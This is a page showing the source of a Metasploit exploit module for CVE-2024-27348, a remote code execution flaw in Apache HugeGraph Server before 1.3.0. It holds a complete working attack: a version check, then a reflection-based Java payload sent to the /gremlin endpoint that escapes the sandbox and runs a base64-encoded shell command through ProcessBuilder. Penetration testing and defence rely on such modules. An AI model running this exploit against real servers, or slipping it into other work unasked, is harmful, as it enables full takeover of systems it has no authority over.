Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/apache_hugegraph_gremlin_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Apache HugeGraph Gremlin RCE',16'Description' => %q{17This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in18Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve19RCE through Gremlin, resulting in complete control over the server20},21'Author' => [22'6right', # discovery23'jheysel-r7' # module24],25'References' => [26[ 'URL', 'https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/'],27[ 'CVE', '2024-27348']28],29'License' => MSF_LICENSE,30'Platform' => %w[unix linux],31'Privileged' => true,32'Arch' => [ ARCH_CMD ],33'Targets' => [34[ 'Automatic Target', {}]35],36'DefaultTarget' => 0,37'DisclosureDate' => '2024-04-22',38'Notes' => {39'Stability' => [ CRASH_SAFE, ],40'SideEffects' => [ ARTIFACTS_ON_DISK, ],41'Reliability' => [ REPEATABLE_SESSION, ]42}43)44)45register_options([46Opt::RPORT(8080),47OptString.new('TARGETURI', [true, 'Base path to the Apache HugeGraph web application', '/'])48])49end5051def check52res = send_request_cgi({53'method' => 'GET'54})5556return CheckCode::Unknown('No response from the vulnerable endpoint /gremlin') unless res57return CheckCode::Unknown("The response from the vulnerable endpoint /gremlin was: #{res.code} (expected: 200)") unless res.code == 2005859version = res.get_json_document&.dig('version')60return CheckCode::Unknown('Unable able to determine the version of Apache HugeGraph') unless version6162if Rex::Version.new(version).between?(Rex::Version.new('1.0.0'), Rex::Version.new('1.3.0'))63return CheckCode::Appears("Apache HugeGraph version detected: #{version}")64end6566CheckCode::Safe("Apache HugeGraph version detected: #{version}")67end6869def exploit70print_status("#{peer} - Running exploit with payload: #{datastore['PAYLOAD']}")7172class_name = rand_text_alpha(4..12)73thread_name = rand_text_alpha(4..12)74command_name = rand_text_alpha(4..12)75process_builder_name = rand_text_alpha(4..12)76start_method_name = rand_text_alpha(4..12)77constructor_name = rand_text_alpha(4..12)78field_name = rand_text_alpha(4..12)7980java_payload = <<~PAYLOAD81Thread #{thread_name} = Thread.currentThread();82Class #{class_name} = Class.forName(\"java.lang.Thread\");83java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\"name\");84#{field_name}.setAccessible(true);85#{field_name}.set(#{thread_name}, \"#{thread_name}\");86Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");87java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);88java.util.List #{command_name} = java.util.Arrays.asList(#{"bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash".strip.split(' ').map { |element| "\"#{element}\"" }.join(', ')});89Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});90java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\"start\");91#{start_method_name}.invoke(#{process_builder_name});92PAYLOAD9394data = {95'gremlin' => java_payload,96'bindings' => {},97'language' => 'gremlin-groovy',98'aliases' => {}99}100101res = send_request_cgi({102'uri' => normalize_uri(target_uri.path, '/gremlin'),103'method' => 'POST',104'ctype' => 'application/json',105'data' => data.to_json106})107108print_error('Unexpected response from the vulnerable exploit') unless res && res.code == 200109end110end111112113